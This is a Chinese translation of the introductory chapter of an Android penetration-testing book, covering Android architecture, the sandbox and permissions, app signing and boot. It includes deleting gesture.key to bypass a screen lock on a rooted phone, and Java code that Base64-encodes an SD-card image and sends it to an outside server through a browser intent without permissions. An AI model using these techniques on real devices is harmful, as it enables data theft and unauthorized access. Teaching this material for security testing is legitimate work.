1. 程式人生 > >Android 滲透測試學習手冊 第一章 Android 安全入門

Android 滲透測試學習手冊 第一章 Android 安全入門

第一章 Android 安全入門

作者:Aditya Gupta

譯者:飛龍

Android 是當今最流行的智慧手機作業系統之一。 隨著人氣的增加,它存在很多安全風險,這些風險不可避免地被引入到應用程式中,使得使用者本身受到威脅。 我們將在本書中以方法論和循序漸進的方式來討論 Android 應用程式安全性和滲透測試的各個方面。

本章的目標是為 Android 安全打下基礎,以便在以後的章節中使用。

1.1 Android 簡介

自從 Android 被谷歌收購(2005 年),谷歌已經完成了整個開發,在過去的 9 年裡,尤其是在安全方面,有很多變化。 現在,它是世界上最廣泛使用的智慧手機平臺,特別是由於不同的手機制造商,如 LG,三星,索尼和 HTC 的支援。 Android 的後續版本中引入了許多新概念,例如 Google Bouncer 和 Google App Verifier。 我們將在本章逐一介紹它們。

如果我們看看 Android 的架構,如下圖所示,我們將看到它被分為四個不同的層。 在它的底部是 Linux 核心,它已被修改來在移動環境中獲得更好的效能。 Linux 核心還必須與所有硬體元件互動,因此也包含大多數硬體驅動程式。 此外,它負責 Android 中存在的大多數安全功能。 由於 Android 基於 Linux 平臺,它還使開發人員易於將 Android 移植到其他平臺和架構。 Android 還提供了一個硬體抽象層,供開發人員在 Android 平臺棧和他們想要移植的硬體之間建立軟體鉤子。

在 Linux 核心之上是一個層級,包含一些最重要和有用的庫,如下所示:

Surface Manager:管理視窗和螢幕
媒體框架:這允許使用各種型別的編解碼器來播放和記錄不同的媒體
SQLite:這是一個較輕的 SQL 版本,用於資料庫管理
WebKit:這是瀏覽器渲染引擎
OpenGL:用於在螢幕上正確顯示 2D 和 3D 內容

以下是來自 Android 開發人員網站的 Android 架構的圖形表示:

Android 中的庫是用 C 和 C++ 編寫的,其中大多數是從 Linux 移植的。 與 Linux 相比,Android 中的一個主要區別是,在這裡沒有libc庫,它用於 Linux 中的大多數任務。 相反,Android 有自己的稱為bionic的庫,我們可以認為它是一個剝離和修改後的,用於 Android 的 libc 版本。

在同一層級,還有來自 Android 執行時 – Dalvik 虛擬機器和核心庫的元件。 我們將在本書的下一部分中討論關於 Dalvik 虛擬機器的很多內容。

在這個層之上,有應用程式框架層,它支援應用程式執行不同型別的任務。

此外,開發人員建立的大多數應用程式只與第一層和最頂層的應用程式互動。 該架構以一種方式設計,在每個時間點,底層都支援上面的層級。

早期版本的 Android(<4.0)基於 Linux 核心 2.6.x,而較新版本基於核心 3.x. 不同的 Android 版本和他們使用的 Linux 核心的列表規定如下:

Android 中的所有應用程式都在虛擬環境下執行,這稱為 Dalvik 虛擬機器(DVM)。 這裡需要注意的一點是,從 Android 4.4 版本開始,還有另一個執行時稱為 Android 執行時(ART),使用者可以在 DVM 和 ART 執行時環境之間自由切換。

然而,對於這本書,我們將只關注 Dalvik 虛擬機器實現。 它類似於 Java 虛擬機器(JVM),除了基於暫存器的特性,而不是基於堆疊的特性。 因此,執行的每個應用程式都將在自己的 Dalvik 虛擬機器例項下執行。 因此,如果我們執行三個不同的應用程式,將有三個不同的虛擬例項。 現在,這裡的重點是,即使它為應用程式建立一個虛擬環境來執行,它不應該與安全容器或安全環境混淆。 DVM 的主要焦點是與效能相關,而不是與安全性相關。

Dalvik 虛擬機器執行一個名為.dex或 Dalvik 可執行檔案的檔案格式。 我們將進一步檢視.dex檔案格式,並將在下面的章節中進行分析。 現在讓我們繼續與 adb 進行互動,並更深入地分析 Android 裝置及其體系結構。

1.2 深入瞭解 Android

如果你有 Android 裝置或正在執行Android模擬器,則可以使用 Android SDK 本身提供的工具(稱為 adb)。 我們將在第二章詳細討論 adb。 現在,我們將只設置 SDK,我們已經準備好了。

一旦裝置通過 USB 連線,我們可以在我們的終端中輸入 adb,這將顯示所連線裝置的序列號列表。 請確保你已在裝置設定中啟用了 USB 除錯功能。

$ adb devices
List of devices attached
emulator-5554   device

提示

下載示例程式碼

你可以從http://www.packtpub.com下載你從帳戶中購買的所有 Packt 圖書的示例程式碼檔案。 如果你在其他地方購買此書,則可以訪問http://www.packtpub.com/support並註冊以將檔案直接傳送給你。

現在,如我們之前所見,Android 是基於 Linux 核心的,所以大多數 Linux 命令在 Android 上也可以通過 adb shell 完美執行。 adb shell 為你提供與裝置的 shell 直接互動,你可以在其中執行命令和執行操作以及分析裝置中存在的資訊。 為了執行 shell,只需要鍵入以下命令:

adb shell.

一旦我們在 shell 中,我們可以執行ps為了列出正在執行的程序:

如你所見,ps將列出當前在 Android 系統中執行的所有程序。 如果仔細看,第一列制定了使用者名稱。 在這裡我們可以看到各種使用者名稱,如systemrootradio和一系列以app_開頭的使用者名稱。 正如你可能已經猜到的,以system名稱執行的程序由系統擁有,root作為根程序執行,radio是與電話和無線電相關的程序,app_程序是使用者已下載的所有應用程式, 安裝在他們的裝置上並且當前正在執行。 因此,就像在 Linux 中使用者確定了當前登入到系統的唯一使用者一樣,在 Android 中,使用者標識了在自己的環境中執行的應用/程序。

所以,Android 安全模型的核心是 Linux 特權分離。 每次在 Android 裝置中啟動新應用程式時,都會為其分配唯一的使用者 ID(UID),該使用者 ID 將之後會屬於某些其他預定義組。

與 Linux 類似,用作命令的所有二進位制檔案都位於/system/bin/system /xbin。 此外,我們從 Play 商店或任何其他來源安裝的應用程式資料將位於/data/data,而其原始安裝檔案(即.apk)將儲存在/data/app。 此外,還有一些應用程式需要從 Play 商店購買,而不是隻是免費下載。 這些應用程式將儲存在/data/app-private/

Android 安裝包(APK)是 Android 應用程式的預設副檔名,它只是一個歸檔檔案,包含應用程式的所有必需檔案和資料夾。 我們在後面的章節中將繼續對.apk檔案進行逆向工程。

現在,讓我們訪問/data/data,看看裡面有什麼。 這裡需要注意的一點是,為了在真實裝置上實現,裝置需要 root 並且必須處於su模式:

# cd /data/data
# ls
com.aditya.facebookapp
com.aditya.spinnermenu
com.aditya.zeropermission
com.afe.socketapp
com.android.backupconfirm
com.android.browser
com.android.calculator2
com.android.calendar
com.android.camera
com.android.certinstaller
com.android.classic
com.android.contacts
com.android.customlocale2

所以,我們可以在這裡看到,例如,com.aditya.facebookapp,是單獨的應用程式資料夾。 現在,你可能會想知道為什麼它是用點分隔的單詞風格,而不是常見的資料夾名稱,如FacebookAppCameraApp。 因此,這些資料夾名稱指定各個應用程式的軟體包名稱。 軟體包名稱是應用程式在 Play 商店和裝置上標識的唯一識別符號。 例如,可能存在具有相同名稱的多個相機應用或計算器應用。 因此,為了唯一地標識不同的應用,使用包名稱約定而不是常規應用名稱。

如果我們進入任何應用程式資料夾,我們會看到不同的子資料夾,例如檔案(files),資料庫(databases)和快取(cache),稍後我們將在第 3 章“逆向和審計 Android 應用程式”中檢視。

shell@android:/data/data/de.trier.infsec.koch.droidsheep # ls
cache
databases
files
lib
shell@android:/data/data/de.trier.infsec.koch.droidsheep # 

這裡需要注意的一個重要的事情是,如果手機已經 root,我們可以修改檔案系統中的任何檔案。 對裝置獲取 root 意味著我們可以完全訪問和控制整個裝置,這意味著我們可以看到以及修改任何我們想要的檔案。

最常見的安全保護之一是大多數人都想到的是模式鎖定或 pin 鎖,它預設存在於所有Android手機。 你可以通過訪問Settings | Security | Screen Lock來配置自己的模式。

一旦我們設定了密碼或模式鎖定,我們現在將繼續,將手機與 USB 連線到我們的系統。 現在,密碼鎖的金鑰或模式鎖的模式資料以名稱password.keygesture.key儲存在/data/system。 注意,如果裝置被鎖定,並且 USB 除錯被開啟,你需要一個自定義引導載入程式來開啟 USB 除錯。 整個過程超出了本書的範圍。 要了解有關 Android 的更多資訊,請參閱 Thomas Cannon Digging 的 Defcon 演示。

因為破解密碼/模式將更加艱難,並且需要暴力(我們將看到如何解密實際資料),我們將簡單地繼續並刪除該檔案,這將從我們手機中刪除模式保護 :

shell@android:/data # cd /data/system
shell@android:/data/system # rm gesture.key

所以,我們可以看到,一旦手機被 root ,幾乎任何東西都可以只用手機、一根USB電纜和一個系統來完成。 我們將在本書的後續章節中更多地瞭解基於 USB 的利用。

1.3 沙箱和許可權模型

為了理解 Android 沙箱,讓我們舉一個例子,如下圖:

如前圖所示和前面所討論的,Android 中的每個應用程式都在其自己的 Dalvik 虛擬機器例項中執行。 這就是為什麼,無論何時任何應用程式在我們的裝置中崩潰,它只是顯示強制關閉或等待選項,但其他應用程式繼續順利執行。 此外,由於每個應用程式都在其自己的例項中執行,因此除非內容提供者另有規定,否則將無法訪問其他應用程式的資料。

Android 使用細粒度的許可權模型,這需要應用程式在編譯最終應用程式包之前預定義許可權。

你必須注意到,每次從 Play 商店或任何其他來源下載應用程式時,它會在安裝過程中顯示一個許可權螢幕,它類似於以下螢幕截圖:

此許可權螢幕顯示應用程式可以通過手機執行的所有任務的列表,例如傳送簡訊,訪問網際網路和訪問攝像頭。 請求多於所需的許可權使應用程式成為惡意軟體作者的更具吸引力的目標。

Android 應用程式開發人員必須在開發應用程式時在名為AndroidManifest.xml的檔案中指定所有這些許可權。 此檔案包含各種應用程式相關資訊的列表,例如執行程式所需的最低 Android 版本,程式包名稱,活動列表(應用程式可見的應用程式中的介面),服務(應用程式的後臺程序) ,和許可權。 如果應用程式開發人員未能在AndroidManifest.xml檔案中指定許可權,並仍在應用程式中使用它,則應用程式將崩潰,並在使用者執行它時顯示強制關閉訊息。

一個正常的AndroidManifest.xml檔案看起來像下面的截圖所示。 在這裡,你可以使用<uses-permission>標記和其他標記檢視所需的不同許可權:

如前所述,所有 Android 應用程式在安裝後首次啟動時都會分配一個唯一的 UID。 具有給定 UID 的所有使用者都屬於特定組,具體取決於他們請求的許可權。 例如,一個僅請求 Internet 許可權的應用程式將屬於inet組,因為 Android 中的 Internet 許可權位於inet組下。

使用者(在這種情況下的應用程式)可以屬於多個組,具體取決於他們請求的許可權。 或者換句話說,每個使用者可以屬於多個組,並且每個組可以具有多個使用者。 這些組具有由組 ID(GID)定義的唯一名稱。 然而,開發人員可以明確地指定其他應用程式在與第一個相同的 UID 下執行。 在我們的裝置中,其中的組和許可權在檔案platform.xml中指定,它位於/system/etc/permissions/

[email protected]:/system/etc/permissions $ cat platform.xml
<permissions>

. . .
   <!-- ================================================================== -->

    <!-- The following tags are associating low-level group IDs with
         permission names. By specifying such a mapping, you are saying
         that any application process granted the given permission will
         also be running with the given group ID attached to its process,
         so it can perform any filesystem (read, write, execute) operations
         allowed for that group. -->

    <permission name="android.permission.BLUETOOTH" >
        <group gid="net_bt" />
    </permission>

    <permission name="android.permission.INTERNET" >
        <group gid="inet" />
    </permission>

    <permission name="android.permission.CAMERA" >
        <group gid="camera" />
    </permission>

. . .  [Some of the data has been stripped from here in order to shorten the output and make it readable]

</permissions>

此外,這清除了對在 Android 裝置中執行的本地應用程式的懷疑。 由於本地應用程式直接與處理器互動,而不是在 Dalvik 虛擬機器下執行,因此它不會以任何方式影響整體安全模型。

現在,就像我們在前面部分看到的,應用程式將其資料儲存在location/data/data/[package name]。 現在,儲存應用程式資料的所有資料夾也具有相同的使用者 ID,這構成 Android 安全模型的基礎。 根據 UID 和檔案許可權,它將限制來自具有不同 UID 的其他應用程式對它的訪問和修改。

在下面的程式碼示例中,ret包含以 Base64 格式編碼儲存在的 SD 卡中的影象,現在正在使用瀏覽器呼叫來上傳到attify.com網站。 目的只是找到一種方式來在兩個不同的 Android 物件之間進行通訊。

我們將首先建立一個物件來儲存影象,在 Base64 中編碼,最後將其儲存在一個字串中imageString

final File file = new File("/mnt/sdcard/profile.jpg");
Uri uri = Uri.fromFile(file);
ContentResolver cr = getContentResolver();
Bitmap bMap=null;
try {
    InputStream is = cr.openInputStream(uri);
    bMap = BitmapFactory.decodeStream(is);
    if (is != null) {
        is.close();
    }  
} catch (Exception e) {
    Log.e("Error reading file", e.toString());
}

ByteArrayOutputStream baos = new ByteArrayOutputStream();  
bMap.compress(Bitmap.CompressFormat.JPEG, 100, baos);   
byte[] b = baos.toByteArray();
String imageString = Base64.encodeToString(b,Base64.DEFAULT);

最後,我們將啟動瀏覽器將資料傳送到我們的伺服器,我們有一個.php檔案偵聽傳入的資料:

startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://attify.com/up.php?u="+imageString)));

我們還可以執行命令並以相同的方式將輸出傳送到遠端伺服器。 但是,這裡需要注意的一點是 shell 應該在應用程式的使用者下執行:

// To execute commands : 
String str = "cat /proc/version";     //command to be executed is stored in str.
process = Runtime.getRuntime().exec(str);

這是一個有趣的現象,因為攻擊者可以獲得一個反向 shell(這是一個從裝置到系統的雙向連線,可以用於執行命令),而不需要任何型別的許可權。

1.4 應用簽名

應用程式簽名是 Android 的獨特特性之一,由於其開放性和開發人員社群,它取得了成功。 Play 商店中有超過一百萬個應用。 在 Android 中,任何人都可以通過下載 Android SDK 建立 Android 應用,然後將其釋出到 Play 商店。 通常有兩種型別的證書籤名機制。 一個是由管理證書頒發機構(CA)簽名的,另一個是自簽名證書。 沒有中間證書頒發機構(CA),而開發人員可以建立自己的證書併為應用程式簽名。

在 Apple 的 iOS 應用程式模型中可以看到 CA 簽名,其中開發者上傳到 App Store 的每個應用程式都經過驗證,然後由 Apple 的證書籤名。 一旦下載到裝置,裝置將驗證應用程式是否由 Apple 的 CA 簽名,然後才允許應用程式執行。

但是,在 Android 中是相反的。 沒有證書頒發機構; 而是開發人員的自建立證書可以簽署應用程式。 應用程式上傳完成後,會由 Google Bouncer 進行驗證,這是一個虛擬環境,用於檢查應用程式是否是惡意或合法的。 檢查完成後,應用就會顯示在 Play 商店中。 在這種情況下,Google 不會對該應用程式進行簽名。 開發人員可以使用 Android SDK 附帶的工具(稱為keytool)建立自己的證書,或者使用 Eclipse 的 GUI 建立證書。

因此,在 Android 中,一旦開發人員使用他建立的證書籤名了應用程式,他需要將證書的金鑰儲存在安全的位置,以防止其他人竊取他的金鑰並使用開發人員的證書籤署其他應用程式 。

如果我們有一個 Android 應用程式(.apk)檔案,我們可以檢查應用程式的簽名,並找到使用稱為jarsigner的工具簽署應用程式的人,這個工具是 Android SDK 自帶的:

$ jarsigner -verify -certs -verbose testing.apk

以下是在應用程式上執行上述命令並獲取簽名的資訊的螢幕截圖:

此外,解壓縮.apk檔案後,可以解析META-INF資料夾中出現的CERT.RSA檔案的 ASCII 內容,以獲取簽名,如以下命令所示:

$ unzip testing.apk
$ cd META-INF
$ openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer
$ cat out.cer

這在檢測和分析未知的 Android .apk示例時非常有用。 因此,我們可以使用它獲得簽署人以及其他詳細資訊。

1.5 Android 啟動流程

在 Android 中考慮安全性時最重要的事情之一是 Android 啟動過程。 整個引導過程從引導載入程式開始,它會反過來啟動init過程 - 第一個使用者級程序。

所以,任何引導載入程式的變化,或者如果我們載入另一個,而不是預設存在的引導載入程式,我們實際上可以更改在裝置上載入的內容。 引導載入程式通常是特定於供應商的,每個供應商都有自己的修改版本的引導載入程式。 通常,預設情況下,此功能通過鎖定引導載入程式來禁用,它只允許供應商指定的受信任核心在裝置上執行。 為了將自己的 ROM 刷到 Android 裝置,需要解鎖引導載入程式。 解鎖引導載入程式的過程可能因裝置而異。 在某些情況下,它也可能使裝置的保修失效。

在 Nexus 7 中,它就像使用命令列中的fastboot工具一樣簡單,如下所示:

$ fastboot oem unlock

在其他裝置中,可能需要更多精力。 我們看看如何建立自己的 Bootloader 並在本書的後續章節中使用它。

回到啟動過程,在引導載入程式啟動核心並啟動init之後,它掛載了 Android 系統執行所需的一些重要目錄,例如/dev/sys/proc。 此外,init從配置檔案init.rcinit.[device-name].rc中獲取自己的配置,在某些情況下從位於相同位置的.sh檔案獲取自己的配置。

如果我們對init.rc檔案執行cat,我們可以看到init載入自身時使用的所有規範,如下面的截圖所示:

init程序的責任是啟動其他必需的元件,例如負責 ADB 通訊和卷守護程式(vold)的 adb 守護程式(adbd)。

載入時使用的一些屬性位於build.prop,它位於location/system。 當你在 Android 裝置上看到 Android logo 時,就完成了init程序的載入。 正如我們在下面的截圖中可以看到的,我們通過檢查build.prop檔案來獲取裝置的具體資訊:

一旦所有的東西被載入,init最後會載入一個稱為 Zygote 的程序,負責以最小空間載入 Dalvik 虛擬機器和共享庫,來加快整個程序的載入速度。 此外,它繼續監聽對自己的新呼叫,以便在必要時啟動更多 DVM。 這是當你在裝置上看到 Android 開機動畫時的情況。

一旦完全啟動,Zygote 派生自己並啟動系統,載入其他必要的 Android 元件,如活動管理器。 一旦完成整個引導過程,系統傳送BOOT_COMPLETED的廣播,許多應用程式可能使用稱為廣播接收器的 Android 應用程式中的元件來監聽。 當我們在第 3 章“逆向和審計 Android 應用程式”中分析惡意軟體和應用程式時,我們將進一步瞭解廣播接收器。

總結

在本章中,我們為學習 Android滲透測試建立了基礎。 我們還了解 Android 的內部結構及其安全體系結構。

在接下來的章節中,我們將建立一個 Android 滲透測試實驗室,並使用這些知識執行更多的技術任務,來滲透 Android 裝置和應用程式。 我們還將瞭解有關 ADB 的更多資訊,並使用它來收集和分析裝置中的資訊。